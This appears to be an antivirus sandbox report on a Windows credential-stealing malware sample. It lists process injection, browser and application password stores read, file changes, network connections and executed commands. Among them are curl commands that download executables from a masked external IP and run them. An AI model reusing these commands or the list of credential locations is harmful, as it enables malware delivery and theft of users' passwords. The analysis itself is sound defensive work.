Technical Information
Malicious functions
Injects code into
the following system processes:
- <SYSTEM32>\dllhost.exe
the following user processes:
- wmpnscfg.exe
Searches for registry branches where third party applications store passwords
- [HKCU\SOFTWARE\FTPWare\CoreFTP\Sites]
- [HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook]
- [HKCU\Software\SimonTatham\PuTTY\Sessions]
- [HKCU\Software\Wow6432Node\SimonTatham\PuTTY\Sessions]
- [HKCU\Software\RIT\The Bat!]
- [HKLM\SOFTWARE\Wow6432Node\Ghisler\Total Commander]
Reads files which store third party applications passwords
- %LOCALAPPDATA%\google\chrome\user data\default\web data
- %LOCALAPPDATA%\google\chrome\user data\default\login data
- %LOCALAPPDATA%\google\chrome\user data\default\cookies
- %LOCALAPPDATA%\microsoft\edge\user data\default\web data
- %LOCALAPPDATA%\microsoft\edge\user data\default\login data
- %LOCALAPPDATA%\microsoft\edge\user data\default\cookies
- %APPDATA%\opera software\opera stable\login data
- %HOMEPATH%\desktop\hanni_umami_chapter.doc
- %HOMEPATH%\desktop\issi2013_template_for_posters.docx
- %HOMEPATH%\desktop\sdszfo.docx
Modifies file system
Creates the following files
- %TEMP%\veazmcdi.exe
- %TEMP%\pisejoldpq.exe
- %TEMP%\chrc1ef.tmp\crashpad\settings.dat
- %TEMP%\chrc1ef.tmp\crashpad\throttle_store.dat
- %TEMP%\chrc1ef.tmp\crashpadmetrics-active.pma
- %TEMP%\chrc1ef.tmp\browsermetrics\browsermetrics-69036a61-718.pma
- %TEMP%\chrc1ef.tmp\last version
- %TEMP%\chrc1ef.tmp\f386490f-f30a-4635-a004-15efde521755.tmp
- %TEMP%\chrc1ef.tmp\036b34b4-2f50-4da2-b893-d2322357e9d4.tmp
- %LOCALAPPDATA%\microsoft\edge\user data\browsermetrics\browsermetrics-69036a64-b08.pma
- %LOCALAPPDATA%\microsoft\edge\user data\default\manifest-000001
- %LOCALAPPDATA%\microsoft\edge\user data\default\000001.dbtmp
- %LOCALAPPDATA%\microsoft\edge\user data\default\manifest-000002
- %LOCALAPPDATA%\microsoft\edge\user data\default\000002.dbtmp
- %LOCALAPPDATA%\microsoft\edge\user data\default\log
- %LOCALAPPDATA%\microsoft\edge\user data\default\gpucache\index
- %LOCALAPPDATA%\microsoft\edge\user data\default\gpucache\data_0
- %LOCALAPPDATA%\microsoft\edge\user data\default\gpucache\data_2
- %LOCALAPPDATA%\microsoft\edge\user data\default\gpucache\data_3
- %LOCALAPPDATA%\microsoft\edge\user data\default\cookies-journal
- %LOCALAPPDATA%\microsoft\edge\user data\default\cookies
- %LOCALAPPDATA%\microsoft\edge\user data\default\session storage\manifest-000001
- %LOCALAPPDATA%\microsoft\edge\user data\default\session storage\000001.dbtmp
- %LOCALAPPDATA%\microsoft\edge\user data\default\session storage\log
- %LOCALAPPDATA%\microsoft\edge\user data\default\session storage\000003.log
- %LOCALAPPDATA%\microsoft\edge\user data\default\cache\index
- %LOCALAPPDATA%\microsoft\edge\user data\default\cache\data_0
- %LOCALAPPDATA%\microsoft\edge\user data\default\cache\data_2
- %LOCALAPPDATA%\microsoft\edge\user data\default\cache\data_3
- %LOCALAPPDATA%\microsoft\edge\user data\default\code cache\js\850d6e8b7c54b419_0
- %LOCALAPPDATA%\microsoft\edge\user data\default\reporting and nel-journal
- %LOCALAPPDATA%\microsoft\edge\user data\default\reporting and nel
- %LOCALAPPDATA%\microsoft\edge\user data\default\extension state\manifest-000001
- %LOCALAPPDATA%\microsoft\edge\user data\default\extension state\000001.dbtmp
- %LOCALAPPDATA%\microsoft\edge\user data\default\extension state\log
- %LOCALAPPDATA%\microsoft\edge\user data\default\data_reduction_proxy_leveldb\manifest-000004
- %LOCALAPPDATA%\microsoft\edge\user data\default\data_reduction_proxy_leveldb\000004.dbtmp
- %LOCALAPPDATA%\microsoft\edge\user data\default\shortcuts-journal
- %LOCALAPPDATA%\microsoft\edge\user data\default\shortcuts
- %LOCALAPPDATA%\microsoft\edge\user data\default\network action predictor-journal
- %LOCALAPPDATA%\microsoft\edge\user data\default\network action predictor
- %LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\eventdb\manifest-000001
- %LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\eventdb\000001.dbtmp
- %LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\eventdb\log
- %LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\availabilitydb\manifest-000001
- %LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\availabilitydb\000001.dbtmp
- %LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\availabilitydb\log
- %LOCALAPPDATA%\microsoft\edge\user data\default\autofillstrikedatabase\manifest-000001
- %LOCALAPPDATA%\microsoft\edge\user data\default\autofillstrikedatabase\000001.dbtmp
- %LOCALAPPDATA%\microsoft\edge\user data\default\autofillstrikedatabase\log
- %LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\availabilitydb\000003.log
- %TEMP%\b56185be-7fdd-4bc6-bb23-4816ce574dfe.tmp
- %LOCALAPPDATA%\microsoft\edge\user data\default\code cache\js\index-dir\temp-index
- %LOCALAPPDATA%\microsoft\edge\user data\functional data-wal
- %LOCALAPPDATA%\microsoft\edge\user data\functional san data-wal
Deletes following files that it created itself
- %LOCALAPPDATA%\microsoft\edge\user data\default\manifest-000001
- %LOCALAPPDATA%\microsoft\edge\user data\browsermetrics\browsermetrics-69036a64-b08.pma
- %TEMP%\chrc1ef.tmp\browsermetrics\browsermetrics-69036a61-718.pma
- %TEMP%\chrc1ef.tmp\crashpad\settings.dat
- %TEMP%\chrc1ef.tmp\crashpad\throttle_store.dat
- %TEMP%\chrc1ef.tmp\crashpadmetrics-active.pma
- %TEMP%\chrc1ef.tmp\last version
- %TEMP%\chrc1ef.tmp\local state
Moves the following files
- from %TEMP%\chrc1ef.tmp\f386490f-f30a-4635-a004-15efde521755.tmp to %TEMP%\chrc1ef.tmp\local state
- from %LOCALAPPDATA%\microsoft\edge\user data\default\000001.dbtmp to %LOCALAPPDATA%\microsoft\edge\user data\default\current
- from %LOCALAPPDATA%\microsoft\edge\user data\default\session storage\000001.dbtmp to %LOCALAPPDATA%\microsoft\edge\user data\default\session storage\current
- from %LOCALAPPDATA%\microsoft\edge\user data\default\extension state\000001.dbtmp to %LOCALAPPDATA%\microsoft\edge\user data\default\extension state\current
- from %LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\eventdb\000001.dbtmp to %LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\eventdb\current
- from %LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\availabilitydb\000001.dbtmp to %LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\availabilitydb\current
- from %LOCALAPPDATA%\microsoft\edge\user data\default\autofillstrikedatabase\000001.dbtmp to %LOCALAPPDATA%\microsoft\edge\user data\default\autofillstrikedatabase\current
Modifies the following files
- %LOCALAPPDATA%\microsoft\edge\user data\last version
- %LOCALAPPDATA%\microsoft\edge\user data\default\sync data\leveldb\log
- %LOCALAPPDATA%\microsoft\edge\user data\default\sync data\leveldb\000003.log
- %LOCALAPPDATA%\microsoft\edge\user data\default\site characteristics database\log
- %LOCALAPPDATA%\microsoft\edge\user data\default\web data-journal
- %LOCALAPPDATA%\microsoft\edge\user data\default\web data
- %LOCALAPPDATA%\microsoft\edge\user data\default\visited links
- %LOCALAPPDATA%\microsoft\edge\user data\default\history-journal
- %LOCALAPPDATA%\microsoft\tokenbroker\cache\9cd93bc6dcf544bae69531052e64647ec02f2bb4.tbres
- %LOCALAPPDATA%\microsoft\edge\user data\last browser
- %LOCALAPPDATA%\microsoft\edge\user data\default\history
- %LOCALAPPDATA%\microsoft\edge\user data\default\top sites-journal
- %LOCALAPPDATA%\microsoft\edge\user data\default\top sites
- %TEMP%\.ses
Substitutes the following files
- %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG
- %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG
- %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Platform Notifications\LOG
- %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\LOG
- %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\BudgetDatabase\LOG
Network activity
Connects to
- '17#.#6.152.62':5858
- '21#.#99.57.38':443
- 'localhost':8000
- 'co####.edge.skype.com':443
- '16#.#59.142.9':80
- '62.##.158.10':54433
TCP
HTTP GET requests
- http://17#.##.152.62:5858/ec505aff580f45739fe29d17037c3d7b_build.exe via 17#.#6.152.62
- http://17#.##.152.62:5858/gimger.exe via 17#.#6.152.62
HTTP POST requests
- http://12#.#.0.1:8000/p/result
Other
- '21#.#99.57.38':443
- 'localhost':49700
- 'co####.edge.skype.com':443
UDP
- DNS ASK ti##.#acebook.com
- DNS ASK ti##.apple.com
- DNS ASK nt##.##t.berkeley.edu
- DNS ASK nt#.#ime.in.ua
- DNS ASK ti##.#loudflare.com
- DNS ASK po##.ntp.org
- DNS ASK nt#.time.nl
- DNS ASK co####.edge.skype.com
- 'ti##.#loudflare.com':123
- 'nt#.#ime.in.ua':123
- 'nt#.time.nl':123
- 'ti##.#acebook.com':123
- 'po##.ntp.org':123
- 'time.windows.com':123
- 'ti##.apple.com':123
- 'nt##.##t.berkeley.edu':123
Miscellaneous
Searches for the following windows
- ClassName: 'Chrome_MessageWindow' WindowName: '%TEMP%\chrC1EF.tmp'
- ClassName: 'Chrome_MessageWindow' WindowName: '%LOCALAPPDATA%\Microsoft\Edge\User Data'
- ClassName: '#32770' WindowName: 'TeamViewer'
Creates and executes the following
- '%TEMP%\veazmcdi.exe'
Executes the following
- '<SYSTEM32>\cmd.exe' /c curl -s -o "%TEMP%\\vEAzmcDi.exe" "http://17#.#6.152.62:5858/ec505aff580f45739fe29d17037c3d7b_build.exe"
- '<SYSTEM32>\curl.exe' -s -o "%TEMP%\\vEAzmcDi.exe" "http://17#.#6.152.62:5858/ec505aff580f45739fe29d17037c3d7b_build.exe"
- '<SYSTEM32>\cmd.exe' /c start "" "%TEMP%\\vEAzmcDi.exe"
- '<SYSTEM32>\cmd.exe' /c curl -s -o "%TEMP%\\PisejOLdpQ.exe" "http://17#.#6.152.62:5858/gimger.exe"
- '<SYSTEM32>\curl.exe' -s -o "%TEMP%\\PisejOLdpQ.exe" "http://17#.#6.152.62:5858/gimger.exe"
- '%ProgramFiles(x86)%\microsoft\edge\application\msedge.exe' --user-data-dir="%TEMP%\chrC1EF.tmp" --explicitly-allowed-ports=8000 --disable-gpu --new-window "http://127.0.0.1:8000/521eebb3/1feb9d65"
- '%ProgramFiles(x86)%\microsoft\edge\application\msedge.exe' --explicitly-allowed-ports=8000 --disable-gpu --new-window --flag-switches-begin --flag-switches-end --do-not-de-elevate http://127.0.0.1:8000/521eebb3/1feb9d65
- '%ProgramFiles(x86)%\microsoft\edge\application\89.0.774.68\identity_helper.exe' --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1852,12894500314749592041,946694463382280463,131072 --lang=en-US --service-sandbox-type=none --explic...
- '%ProgramFiles%\windows media player\wmpnscfg.exe'
- '<SYSTEM32>\dllhost.exe'
- '%ProgramFiles(x86)%\microsoft\edge\application\msedge.exe' --user-data-dir="%TEMP%\chrC1EF.tmp" --explicitly-allowed-ports=8000 --disable-gpu --new-window "http://127.0.0.1:8000/521eebb3/1feb9d65"' (with hidden window)
- '%ProgramFiles(x86)%\microsoft\edge\application\msedge.exe' --explicitly-allowed-ports=8000 --disable-gpu --new-window --flag-switches-begin --flag-switches-end --do-not-de-elevate http://127.0.0.1:8000/521eebb3/1feb9d65' (with hidden window)
